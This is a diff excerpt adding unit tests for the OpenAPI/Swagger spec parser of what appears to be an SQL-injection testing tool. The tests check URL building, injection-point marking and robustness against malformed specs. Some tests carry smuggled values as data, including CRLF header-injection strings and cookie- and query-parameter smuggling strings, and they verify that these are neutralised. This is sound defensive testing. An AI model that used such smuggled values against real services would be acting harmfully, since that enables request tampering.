|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import unittest
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
|
from _testutils import bootstrap
|
||||||
|
bootstrap()
|
||||||
|
|
||||||
|
from lib.parse.openapi import openApiTargets, yaml as _yaml
|
||||||
|
|
||||||
|
HAS_YAML = _yaml is not None
|
||||||
|
|
||||||
|
|
||||||
|
def _targets(spec, origin="http://h"):
|
||||||
|
return openApiTargets(json.dumps(spec) if isinstance(spec, dict) else spec, origin)
|
||||||
|
|
||||||
|
def _byMethodPath(targets):
|
||||||
|
return dict(("%s %s" % (method, url), (method, url, data, headers)) for url, method, data, headers in targets)
|
||||||
|
|
||||||
|
|
||||||
|
class TestOpenApi(unittest.TestCase):
|
||||||
|
def test_v3_query_path_and_base(self):
|
||||||
|
spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}],
|
||||||
|
"paths": {"/pet/{id}": {"get": {"parameters": [
|
||||||
|
{"name": "id", "in": "path", "schema": {"type": "integer"}},
|
||||||
|
{"name": "q", "in": "query", "schema": {"type": "string", "example": "x"}}]}}}}
|
||||||
|
targets = _targets(spec, "http://host:8080")
|
||||||
|
self.assertEqual(len(targets), 1)
|
||||||
|
url, method, data, headers = targets[0]
|
||||||
|
self.assertEqual(method, "GET")
|
||||||
|
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK
|
||||||
|
self.assertEqual(url, "http://host:8080/api/pet/1%s?q=x" % MARK) # relative server + filled+marked path + query
|
||||||
|
self.assertIsNone(data)
|
||||||
|
|
||||||
|
def test_v3_json_body_sets_data_and_content_type(self):
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/o": {"post": {"requestBody": {"content": {"application/json":
|
||||||
|
{"schema": {"type": "object", "properties": {"name": {"type": "string"}, "qty": {"type": "integer"}}}}}}}}}}
|
||||||
|
url, method, data, headers = _targets(spec)[0]
|
||||||
|
self.assertEqual(method, "POST")
|
||||||
|
self.assertEqual(json.loads(data), {"name": "1", "qty": 1})
|
||||||
|
self.assertIn(("Content-Type", "application/json"), headers)
|
||||||
|
|
||||||
|
def test_form_urlencoded_body(self):
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/login": {"post": {"requestBody": {"content":
|
||||||
|
{"application/x-www-form-urlencoded": {"schema": {"type": "object",
|
||||||
|
"properties": {"u": {"type": "string"}, "p": {"type": "string"}}}}}}}}}}
|
||||||
|
url, method, data, headers = _targets(spec)[0]
|
||||||
|
self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"])
|
||||||
|
|
||||||
|
def test_value_synthesis(self):
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "a", "in": "query", "schema": {"type": "integer"}},
|
||||||
|
{"name": "b", "in": "query", "schema": {"type": "boolean"}},
|
||||||
|
{"name": "c", "in": "query", "schema": {"type": "string", "enum": ["first", "second"]}},
|
||||||
|
{"name": "d", "in": "query", "schema": {"type": "string", "default": "dd"}},
|
||||||
|
{"name": "e", "in": "query", "schema": {"type": "string", "format": "uuid"}}]}}}}
|
||||||
|
url = _targets(spec)[0][0]
|
||||||
|
self.assertIn("a=1", url)
|
||||||
|
self.assertIn("b=true", url)
|
||||||
|
self.assertIn("c=first", url) # enum[0]
|
||||||
|
self.assertIn("d=dd", url) # default
|
||||||
|
self.assertIn("e=11111111-1111-1111-1111-111111111111", url) # format uuid
|
||||||
|
|
||||||
|
def test_ref_resolution_and_allof_oneof(self):
|
||||||
|
spec = {"openapi": "3.0.0",
|
||||||
|
"components": {"schemas": {"Tag": {"type": "object", "properties": {"n": {"type": "string"}}}}},
|
||||||
|
"paths": {
|
||||||
|
"/ref": {"post": {"requestBody": {"content": {"application/json": {"schema": {"$ref": "#/components/schemas/Tag"}}}}}},
|
||||||
|
"/all": {"post": {"requestBody": {"content": {"application/json": {"schema": {"allOf": [
|
||||||
|
{"type": "object", "properties": {"x": {"type": "string"}}},
|
||||||
|
{"type": "object", "properties": {"y": {"type": "integer"}}}]}}}}}},
|
||||||
|
"/one": {"post": {"requestBody": {"content": {"application/json": {"schema": {"oneOf": [
|
||||||
|
{"type": "object", "properties": {"only": {"type": "string"}}},
|
||||||
|
{"type": "object", "properties": {"other": {"type": "string"}}}]}}}}}}}}
|
||||||
|
m = _byMethodPath(_targets(spec))
|
||||||
|
self.assertEqual(json.loads(m["POST http://h/ref"][2]), {"n": "1"})
|
||||||
|
self.assertEqual(json.loads(m["POST http://h/all"][2]), {"x": "1", "y": 1}) # allOf merged
|
||||||
|
self.assertEqual(json.loads(m["POST http://h/one"][2]), {"only": "1"}) # oneOf -> first
|
||||||
|
|
||||||
|
def test_ref_cycle_terminates(self):
|
||||||
|
spec = {"openapi": "3.0.0",
|
||||||
|
"components": {"schemas": {"Node": {"type": "object", "properties": {
|
||||||
|
"name": {"type": "string"}, "parent": {"$ref": "#/components/schemas/Node"}}}}},
|
||||||
|
"paths": {"/n": {"post": {"requestBody": {"content": {"application/json":
|
||||||
|
{"schema": {"$ref": "#/components/schemas/Node"}}}}}}}}
|
||||||
|
targets = _targets(spec) # must not hang / recurse forever
|
||||||
|
self.assertEqual(len(targets), 1)
|
||||||
|
self.assertTrue(json.loads(targets[0][2]).get("name") == "1")
|
||||||
|
|
||||||
|
def test_swagger_v2_base_and_body(self):
|
||||||
|
spec = {"swagger": "2.0", "host": "api.example.com", "basePath": "/v2", "schemes": ["https"],
|
||||||
|
"paths": {"/pet": {"post": {"parameters": [{"name": "b", "in": "body",
|
||||||
|
"schema": {"type": "object", "properties": {"id": {"type": "integer"}}}}]}}}}
|
||||||
|
url, method, data, headers = _targets(spec, None)[0]
|
||||||
|
self.assertEqual(url, "https://api.example.com/v2/pet")
|
||||||
|
self.assertEqual(json.loads(data), {"id": 1})
|
||||||
|
|
||||||
|
def test_server_template_variables(self):
|
||||||
|
spec = {"openapi": "3.0.0", "servers": [{"url": "https://{env}.x.io/{ver}",
|
||||||
|
"variables": {"env": {"default": "prod"}, "ver": {"default": "v3"}}}],
|
||||||
|
"paths": {"/p": {"get": {}}}}
|
||||||
|
self.assertEqual(_targets(spec, None)[0][0], "https://prod.x.io/v3/p")
|
||||||
|
|
||||||
|
def test_headers_are_hashable_tuples(self):
|
||||||
|
# kb.targets is an OrderedSet, so the emitted headers must be hashable (tuple, not list)
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "h", "in": "header", "schema": {"type": "string"}}]}}}}
|
||||||
|
headers = _targets(spec)[0][3]
|
||||||
|
self.assertTrue(headers is None or isinstance(tuple(headers), tuple))
|
||||||
|
|
||||||
|
def test_header_and_cookie_params_are_injection_marked(self):
|
||||||
|
# header/cookie params get the custom injection mark ('*') appended so they become testable
|
||||||
|
# (custom) injection points (query/body params are still auto-tested alongside them)
|
||||||
|
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "X-Api", "in": "header", "schema": {"type": "string", "example": "k"}},
|
||||||
|
{"name": "sess", "in": "cookie", "schema": {"type": "string", "example": "v"}}]}}}}
|
||||||
|
headers = dict(_targets(spec)[0][3])
|
||||||
|
self.assertEqual(headers["X-Api"], "k" + MARK)
|
||||||
|
self.assertEqual(headers["Cookie"], "sess=v" + MARK)
|
||||||
|
|
||||||
|
# --- graceful degradation: a broken/poorly-defined spec must never crash the parser ---
|
||||||
|
|
||||||
|
def test_malformed_raises_valueerror(self):
|
||||||
|
for bad in ("{not json,,,", "[1,2,3]", "{}", '{"openapi":"3.0.0"}', '{"openapi":"3.0.0","paths":[1,2]}'):
|
||||||
|
self.assertRaises(ValueError, openApiTargets, bad, "http://h")
|
||||||
|
|
||||||
|
def test_malformed_servers_do_not_crash(self):
|
||||||
|
for servers in ('{"url":"/a"}', '"http://h"', "[]"):
|
||||||
|
spec = '{"openapi":"3.0.0","servers":%s,"paths":{"/x":{"get":{}}}}' % servers
|
||||||
|
self.assertEqual(len(openApiTargets(spec, "http://h")), 1) # no crash, still one target
|
||||||
|
|
||||||
|
def test_url_and_body_values_are_encoded(self):
|
||||||
|
# special characters in synthesized values must be percent-encoded so they can not break the
|
||||||
|
# URL structure (param smuggling) or the form body
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {
|
||||||
|
"/x/{p}": {"get": {"parameters": [
|
||||||
|
{"name": "p", "in": "path", "schema": {"type": "string", "example": "a/b"}},
|
||||||
|
{"name": "q", "in": "query", "schema": {"type": "string", "example": "a b&c=d"}}]}},
|
||||||
|
"/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded":
|
||||||
|
{"schema": {"type": "object", "properties": {"u": {"type": "string", "example": "a b&x"}}}}}}}}}}
|
||||||
|
byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec))
|
||||||
|
getUrl = byMethod["GET"][0]
|
||||||
|
self.assertIn("/x/a%2Fb", getUrl) # path value '/' encoded (no extra segment)
|
||||||
|
self.assertIn("q=a%20b%26c%3Dd", getUrl) # query value space/&/= encoded (no smuggling)
|
||||||
|
self.assertNotIn(" ", getUrl)
|
||||||
|
self.assertEqual(byMethod["POST"][1], "u=a%20b%26x")
|
||||||
|
|
||||||
|
@unittest.skipUnless(HAS_YAML, "pyyaml not available")
|
||||||
|
def test_yaml_spec(self):
|
||||||
|
y = ("openapi: 3.0.0\n"
|
||||||
|
"paths:\n"
|
||||||
|
" /y:\n"
|
||||||
|
" get:\n"
|
||||||
|
" parameters:\n"
|
||||||
|
" - name: q\n"
|
||||||
|
" in: query\n"
|
||||||
|
" schema: {type: string, example: hi}\n")
|
||||||
|
targets = openApiTargets(y, "http://h")
|
||||||
|
self.assertEqual(len(targets), 1)
|
||||||
|
self.assertEqual(targets[0][0], "http://h/y?q=hi")
|
||||||
|
|
||||||
|
def test_shared_recursive_refs_scale(self):
|
||||||
|
# a self-referential schema reused across many operations must terminate promptly (depth cap +
|
||||||
|
# per-$ref memoization); without them this would blow up exponentially and hang the test
|
||||||
|
schemas = {"Node": {"type": "object", "properties": {
|
||||||
|
"name": {"type": "string"},
|
||||||
|
"child": {"$ref": "#/components/schemas/Node"},
|
||||||
|
"list": {"type": "array", "items": {"$ref": "#/components/schemas/Node"}}}}}
|
||||||
|
paths = dict(("/n%d" % i, {"post": {"requestBody": {"content": {"application/json":
|
||||||
|
{"schema": {"$ref": "#/components/schemas/Node"}}}}}}) for i in range(60))
|
||||||
|
targets = _targets({"openapi": "3.0.0", "components": {"schemas": schemas}, "paths": paths})
|
||||||
|
self.assertEqual(len(targets), 60)
|
||||||
|
self.assertEqual(json.loads(targets[0][2]).get("name"), "1")
|
||||||
|
|
||||||
|
def test_swagger_v2_formdata_body(self):
|
||||||
|
# in:"formData" params must become a urlencoded body (previously dropped -> empty POST)
|
||||||
|
spec = {"swagger": "2.0", "host": "h", "paths": {"/l": {"post": {"parameters": [
|
||||||
|
{"name": "u", "in": "formData", "type": "string"},
|
||||||
|
{"name": "p", "in": "formData", "type": "string"}]}}}}
|
||||||
|
url, method, data, headers = _targets(spec, None)[0]
|
||||||
|
self.assertEqual(method, "POST")
|
||||||
|
self.assertEqual(sorted(data.split("&")), ["p=1", "u=1"])
|
||||||
|
|
||||||
|
def test_relative_base_is_skipped(self):
|
||||||
|
# a spec that yields no scheme/host (relative server + no origin) must be skipped, not emitted
|
||||||
|
spec = {"openapi": "3.0.0", "servers": [{"url": "/api"}], "paths": {"/x": {"get": {}}}}
|
||||||
|
self.assertEqual(openApiTargets(json.dumps(spec), None), []) # relative -> skipped
|
||||||
|
self.assertEqual(len(openApiTargets(json.dumps(spec), "http://h")), 1) # absolute with origin -> kept
|
||||||
|
|
||||||
|
def test_unsupported_body_media_type_no_crash(self):
|
||||||
|
# a structured body under a non-JSON/form media type must not crash and must not fabricate a body,
|
||||||
|
# but the endpoint URL is still produced
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/xml":
|
||||||
|
{"schema": {"type": "object", "properties": {"a": {"type": "string"}}}}}}}}}}
|
||||||
|
url, method, data, headers = _targets(spec)[0]
|
||||||
|
self.assertEqual((url, method, data), ("http://h/x", "POST", None))
|
||||||
|
|
||||||
|
def test_injection_mark_char_in_value_is_not_doubled(self):
|
||||||
|
# an example value already containing the custom injection mark must not create a stray point
|
||||||
|
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {
|
||||||
|
"parameters": [{"name": "H", "in": "header", "schema": {"type": "string", "example": "a%sb" % MARK}}],
|
||||||
|
"requestBody": {"content": {"application/json": {"schema": {"type": "object",
|
||||||
|
"properties": {"n": {"type": "string", "example": "x%sy" % MARK}}}}}}}}}}
|
||||||
|
url, method, data, headers = _targets(spec)[0]
|
||||||
|
self.assertEqual(dict(headers)["H"], "ab" + MARK) # single trailing mark only
|
||||||
|
self.assertEqual(json.loads(data), {"n": "xy"}) # mark stripped from body value
|
||||||
|
|
||||||
|
@unittest.skipUnless(HAS_YAML, "pyyaml not available")
|
||||||
|
def test_non_string_method_keys_do_not_crash(self):
|
||||||
|
# YAML path-item keys are not guaranteed to be strings (404 -> int, on -> bool); must not crash
|
||||||
|
y = ("openapi: 3.0.0\n"
|
||||||
|
"servers: [{url: 'http://h'}]\n"
|
||||||
|
"paths:\n"
|
||||||
|
" /x:\n"
|
||||||
|
" get: {}\n"
|
||||||
|
" 404: {}\n"
|
||||||
|
" on: {}\n")
|
||||||
|
targets = openApiTargets(y, "http://h")
|
||||||
|
self.assertEqual(len(targets), 1) # only the real GET operation
|
||||||
|
self.assertEqual(targets[0][1], "GET")
|
||||||
|
|
||||||
|
def test_hostile_base_url_metadata_does_not_crash(self):
|
||||||
|
# _baseUrl runs once, OUTSIDE the per-operation try, so malformed server/scheme/basePath metadata
|
||||||
|
# must not raise (it would abort the entire extraction)
|
||||||
|
hostile = [
|
||||||
|
{"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": [1, 2]}], "paths": {"/x": {"get": {}}}},
|
||||||
|
{"openapi": "3.0.0", "servers": [{"url": "https://{e}.x/", "variables": {"e": "prod"}}], "paths": {"/x": {"get": {}}}},
|
||||||
|
{"openapi": "3.0.0", "servers": [{"url": 123}], "paths": {"/x": {"get": {}}}},
|
||||||
|
{"swagger": "2.0", "host": "h", "schemes": {"a": 1}, "paths": {"/x": {"get": {}}}},
|
||||||
|
{"swagger": "2.0", "host": "h", "basePath": 123, "paths": {"/x": {"get": {}}}}]
|
||||||
|
for spec in hostile:
|
||||||
|
self.assertEqual(len(_targets(spec)), 1) # no crash, still one target
|
||||||
|
|
||||||
|
def test_param_entry_not_a_dict_is_skipped(self):
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": ["oops", {"name": "q", "in": "query"}]}}}}
|
||||||
|
self.assertIn("q=1", _targets(spec)[0][0]) # bad entry skipped, good one still used
|
||||||
|
|
||||||
|
@unittest.skipUnless(HAS_YAML, "pyyaml not available")
|
||||||
|
def test_yaml_date_examples_serialize(self):
|
||||||
|
# unquoted YAML dates parse to datetime.date, which is not JSON-serializable -> must be stringified,
|
||||||
|
# not silently dropped (dates are pervasive in real specs)
|
||||||
|
y = ("openapi: 3.0.0\n"
|
||||||
|
"servers: [{url: 'http://h'}]\n"
|
||||||
|
"paths:\n"
|
||||||
|
" /x:\n"
|
||||||
|
" post:\n"
|
||||||
|
" requestBody:\n"
|
||||||
|
" content:\n"
|
||||||
|
" application/json:\n"
|
||||||
|
" schema: {type: object, properties: {created: {type: string, example: 2020-01-01}}}\n")
|
||||||
|
url, method, data, headers = openApiTargets(y, "http://h")[0]
|
||||||
|
self.assertEqual(json.loads(data), {"created": "2020-01-01"})
|
||||||
|
|
||||||
|
def test_crlf_in_header_and_cookie_is_stripped(self):
|
||||||
|
# a spec-supplied header/cookie name or value must not carry CR/LF (header injection / request
|
||||||
|
# corruption); query/path values are separately percent-encoded
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "X-A", "in": "header", "schema": {"type": "string", "example": "a\r\nX-Evil: 1"}},
|
||||||
|
{"name": "X\r\nB", "in": "header", "schema": {"type": "string", "example": "v"}},
|
||||||
|
{"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "a\r\nSet: x"}}]}}}}
|
||||||
|
headers = dict(_targets(spec)[0][3])
|
||||||
|
for name, value in headers.items():
|
||||||
|
self.assertNotIn("\r", name + value)
|
||||||
|
self.assertNotIn("\n", name + value)
|
||||||
|
self.assertIn("X-A", headers)
|
||||||
|
self.assertIn("XB", headers) # control chars removed from the name
|
||||||
|
|
||||||
|
def test_explicit_examples_preferred_over_schema(self):
|
||||||
|
# a concrete example/examples on the media-type or parameter object must win over schema synthesis
|
||||||
|
# (real specs carry the canonical, validation-passing value there)
|
||||||
|
body = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": {
|
||||||
|
"schema": {"type": "object", "properties": {"name": {"type": "string"}}}, "example": {"name": "real"}}}}}}}}
|
||||||
|
self.assertEqual(json.loads(_targets(body)[0][2]), {"name": "real"})
|
||||||
|
examples = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": {
|
||||||
|
"schema": {"type": "object"}, "examples": {"first": {"value": {"k": "v1"}}}}}}}}}}
|
||||||
|
self.assertEqual(json.loads(_targets(examples)[0][2]), {"k": "v1"})
|
||||||
|
param = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "q", "in": "query", "example": "E", "schema": {"type": "string"}}]}}}}
|
||||||
|
self.assertIn("q=E", _targets(param)[0][0])
|
||||||
|
|
||||||
|
def test_openapi_31_const_and_type_array(self):
|
||||||
|
spec = {"openapi": "3.1.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "c", "in": "query", "schema": {"const": "CV"}},
|
||||||
|
{"name": "n", "in": "query", "schema": {"type": ["integer", "null"]}}]}}}}
|
||||||
|
url = _targets(spec)[0][0]
|
||||||
|
self.assertIn("c=CV", url) # const used
|
||||||
|
self.assertIn("n=1", url) # ["integer","null"] resolved to integer, not the generic fallback
|
||||||
|
|
||||||
|
def test_parameter_names_are_encoded(self):
|
||||||
|
# a param NAME with structural chars must be encoded so it can not split/smuggle params or truncate
|
||||||
|
# at a fragment; deep-object brackets ([]) are preserved
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {
|
||||||
|
"/q": {"get": {"parameters": [
|
||||||
|
{"name": "a&b=c", "in": "query", "schema": {"type": "string"}},
|
||||||
|
{"name": "a#b", "in": "query", "schema": {"type": "string"}},
|
||||||
|
{"name": "filter[status]", "in": "query", "schema": {"type": "string"}}]}},
|
||||||
|
"/f": {"post": {"requestBody": {"content": {"application/x-www-form-urlencoded":
|
||||||
|
{"schema": {"type": "object", "properties": {"x&y": {"type": "string"}}}}}}}}}}
|
||||||
|
byMethod = dict((method, (url, data)) for url, method, data, headers in _targets(spec))
|
||||||
|
getUrl = byMethod["GET"][0]
|
||||||
|
self.assertIn("a%26b%3Dc=1", getUrl)
|
||||||
|
self.assertIn("a%23b=1", getUrl)
|
||||||
|
self.assertIn("filter[status]=1", getUrl) # brackets kept (deep-object param names)
|
||||||
|
self.assertNotIn("#", getUrl)
|
||||||
|
self.assertEqual(byMethod["POST"][1], "x%26y=1")
|
||||||
|
|
||||||
|
def test_undefined_template_var_does_not_leak(self):
|
||||||
|
# a server/path template variable with no definition must not leave a literal '{...}' in the URL
|
||||||
|
spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x.com/{basePath}/v3"}],
|
||||||
|
"paths": {"/pets": {"get": {}}}}
|
||||||
|
url = _targets(spec, "http://h")[0][0]
|
||||||
|
self.assertNotIn("{", url)
|
||||||
|
self.assertEqual(url, "https://api.x.com/1/v3/pets") # absolute server used as-is (host not rewritten)
|
||||||
|
|
||||||
|
def test_absolute_server_url_is_not_rewritten_to_origin(self):
|
||||||
|
# a spec served from one host but declaring an absolute API server on another host must scan the
|
||||||
|
# DECLARED API host, not the spec's origin
|
||||||
|
spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.example.com/v1"}],
|
||||||
|
"paths": {"/pets": {"get": {}}}}
|
||||||
|
self.assertEqual(_targets(spec, "https://docs.example.com")[0][0], "https://api.example.com/v1/pets")
|
||||||
|
|
||||||
|
def test_path_parameter_is_injection_marked(self):
|
||||||
|
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/users/{id}": {"get": {"parameters": [
|
||||||
|
{"name": "id", "in": "path", "schema": {"type": "integer"}}]}}}}
|
||||||
|
self.assertEqual(_targets(spec)[0][0], "http://h/users/1" + MARK)
|
||||||
|
|
||||||
|
def test_form_urlencoded_sets_content_type_and_multipart_skipped(self):
|
||||||
|
form = {"openapi": "3.0.0", "paths": {"/f": {"post": {"requestBody": {"content":
|
||||||
|
{"application/x-www-form-urlencoded": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}}
|
||||||
|
url, method, data, headers = _targets(form)[0]
|
||||||
|
self.assertEqual(data, "u=1")
|
||||||
|
self.assertIn(("Content-Type", "application/x-www-form-urlencoded"), headers)
|
||||||
|
multipart = {"openapi": "3.0.0", "paths": {"/m": {"post": {"requestBody": {"content":
|
||||||
|
{"multipart/form-data": {"schema": {"type": "object", "properties": {"u": {"type": "string"}}}}}}}}}}
|
||||||
|
url, method, data, headers = _targets(multipart)[0]
|
||||||
|
self.assertIsNone(data) # multipart is skipped, not mis-serialized as urlencoded
|
||||||
|
|
||||||
|
def test_path_item_ref_is_resolved(self):
|
||||||
|
spec = {"openapi": "3.1.0",
|
||||||
|
"components": {"pathItems": {"Ping": {"get": {"parameters": [
|
||||||
|
{"name": "q", "in": "query", "schema": {"type": "string", "example": "z"}}]}}}},
|
||||||
|
"paths": {"/ping": {"$ref": "#/components/pathItems/Ping"}}}
|
||||||
|
targets = _targets(spec)
|
||||||
|
self.assertEqual(len(targets), 1)
|
||||||
|
self.assertIn("q=z", targets[0][0])
|
||||||
|
|
||||||
|
def test_operation_parameter_overrides_path_level(self):
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {
|
||||||
|
"parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "shared"}}],
|
||||||
|
"get": {"parameters": [{"name": "q", "in": "query", "schema": {"type": "string", "example": "op"}}]}}}}
|
||||||
|
url = _targets(spec)[0][0]
|
||||||
|
self.assertIn("q=op", url) # operation value wins
|
||||||
|
self.assertEqual(url.count("q="), 1) # not duplicated
|
||||||
|
|
||||||
|
def test_multiple_cookies_aggregate_into_one_header(self):
|
||||||
|
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR as MARK
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "a", "in": "cookie", "schema": {"type": "string"}},
|
||||||
|
{"name": "b", "in": "cookie", "schema": {"type": "string"}}]}}}}
|
||||||
|
headers = _targets(spec)[0][3]
|
||||||
|
cookieHeaders = [v for (k, v) in headers if k == "Cookie"]
|
||||||
|
self.assertEqual(cookieHeaders, ["a=1%s; b=1%s" % (MARK, MARK)]) # one aggregated Cookie header
|
||||||
|
|
||||||
|
def test_cookie_name_value_cannot_smuggle_pairs(self):
|
||||||
|
# a cookie name that is not a token is dropped; structural chars in the value ('; ,' / whitespace)
|
||||||
|
# are stripped so a spec can not inject additional cookie pairs
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "a; injected", "in": "cookie", "schema": {"type": "string"}},
|
||||||
|
{"name": "sid", "in": "cookie", "schema": {"type": "string", "example": "v; z=1"}}]}}}}
|
||||||
|
cookieHeaders = [v for (k, v) in (_targets(spec)[0][3] or []) if k == "Cookie"]
|
||||||
|
self.assertEqual(len(cookieHeaders), 1)
|
||||||
|
cookie = cookieHeaders[0]
|
||||||
|
self.assertNotIn(";", cookie.rstrip("*")) # no interior ';' -> no smuggled pair
|
||||||
|
self.assertNotIn("injected", cookie) # invalid cookie name dropped
|
||||||
|
self.assertNotIn(" ", cookie)
|
||||||
|
|
||||||
|
def test_loose_path_without_leading_slash(self):
|
||||||
|
# a malformed path key missing its leading '/' must not glue onto the base (".../v1pets")
|
||||||
|
spec = {"openapi": "3.0.0", "servers": [{"url": "https://api.x/v1"}], "paths": {"pets": {"get": {}}}}
|
||||||
|
self.assertEqual(_targets(spec, None)[0][0], "https://api.x/v1/pets")
|
||||||
|
|
||||||
|
def test_array_query_param_is_best_effort_scalar(self):
|
||||||
|
# documents current best-effort behavior: an array query param is scalarized+encoded, NOT expanded
|
||||||
|
# per style/explode. If richer serialization is added later, update this expectation deliberately.
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "ids", "in": "query", "schema": {"type": "array", "items": {"type": "integer"}}}]}}}}
|
||||||
|
url = _targets(spec)[0][0]
|
||||||
|
self.assertIn("ids=", url)
|
||||||
|
self.assertNotIn(" ", url) # whatever the encoding, it must not break the URL
|
||||||
|
self.assertTrue(url.startswith("http://h/x?ids="))
|
||||||
|
|
||||||
|
def test_invalid_header_name_is_skipped(self):
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "Bad Name", "in": "header", "schema": {"type": "string"}},
|
||||||
|
{"name": "Also:Bad", "in": "header", "schema": {"type": "string"}},
|
||||||
|
{"name": "X-Good", "in": "header", "schema": {"type": "string"}}]}}}}
|
||||||
|
headers = dict(_targets(spec)[0][3] or [])
|
||||||
|
self.assertIn("X-Good", headers)
|
||||||
|
self.assertNotIn("Bad Name", headers)
|
||||||
|
self.assertNotIn("Also:Bad", headers)
|
||||||
|
|
||||||
|
def test_explicit_null_example_falls_back_to_schema(self):
|
||||||
|
# 'example: null' must not serialize as null/"null" - fall back to schema synthesis
|
||||||
|
q = {"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [
|
||||||
|
{"name": "q", "in": "query", "example": None, "schema": {"type": "string", "example": "good"}}]}}}}
|
||||||
|
self.assertIn("q=good", _targets(q)[0][0])
|
||||||
|
b = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json":
|
||||||
|
{"example": None, "schema": {"type": "object", "properties": {"a": {"type": "integer"}}}}}}}}}}
|
||||||
|
self.assertEqual(json.loads(_targets(b)[0][2]), {"a": 1})
|
||||||
|
|
||||||
|
def test_degrade_not_skip_on_odd_shapes(self):
|
||||||
|
# enum-as-dict, non-string param name, and content[type]-as-list must degrade (op preserved)
|
||||||
|
for spec in (
|
||||||
|
{"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": "q", "in": "query", "schema": {"enum": {"a": 1}}}]}}}},
|
||||||
|
{"openapi": "3.0.0", "paths": {"/x": {"get": {"parameters": [{"name": 5, "in": "header", "schema": {"type": "string"}}]}}}},
|
||||||
|
{"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody": {"content": {"application/json": [1, 2]}}}}}}):
|
||||||
|
self.assertEqual(len(_targets(spec)), 1)
|
||||||
|
|
||||||
|
def test_malformed_ref_and_properties_degrade_not_skip(self):
|
||||||
|
# a non-string/unhashable $ref or a non-dict 'properties' must degrade the value (not lose the op)
|
||||||
|
for schema in ({"$ref": 123}, {"$ref": [1, 2]}, {"type": "object", "properties": [1, 2]}):
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {"/x": {"post": {"requestBody":
|
||||||
|
{"content": {"application/json": {"schema": schema}}}}}}}
|
||||||
|
self.assertEqual(len(_targets(spec)), 1) # operation preserved, not skipped
|
||||||
|
|
||||||
|
def test_undefined_bits_are_skipped_not_fatal(self):
|
||||||
|
spec = {"openapi": "3.0.0", "paths": {
|
||||||
|
"/a": {"get": {"parameters": [{}]}}, # param with no name
|
||||||
|
"/b": {"post": {"requestBody": {"content": {"application/json":
|
||||||
|
{"schema": {"$ref": "#/components/schemas/DoesNotExist"}}}}}}, # dangling $ref
|
||||||
|
"/c": {"get": {"parameters": [{"name": "p", "in": "query",
|
||||||
|
"schema": {"$ref": "https://other/x.json#/Y"}}]}}}} # external $ref
|
||||||
|
targets = _targets(spec)
|
||||||
|
self.assertEqual(len(targets), 3) # all three still produced
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
|
|
@ -60,6 +60,7 @@ class TestExtractTextTagContent(unittest.TestCase):
|
||||||
|
|
||||||
class TestParseSqliteTableSchema(unittest.TestCase):
|
class TestParseSqliteTableSchema(unittest.TestCase):
|
||||||
def setUp(self):
|
def setUp(self):
|
||||||
|
self.addCleanup(setattr, kb.data, "cachedColumns", kb.data.get("cachedColumns"))
|
||||||
kb.data.cachedColumns = {}
|
kb.data.cachedColumns = {}
|
||||||
|
|
||||||
def _cols(self):
|
def _cols(self):
|
||||||
|
|
|
||||||
|
|
@ -18,7 +18,7 @@ import tempfile
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||||
from _testutils import bootstrap, set_dbms
|
from _testutils import bootstrap, set_dbms, reset_dbms
|
||||||
bootstrap()
|
bootstrap()
|
||||||
|
|
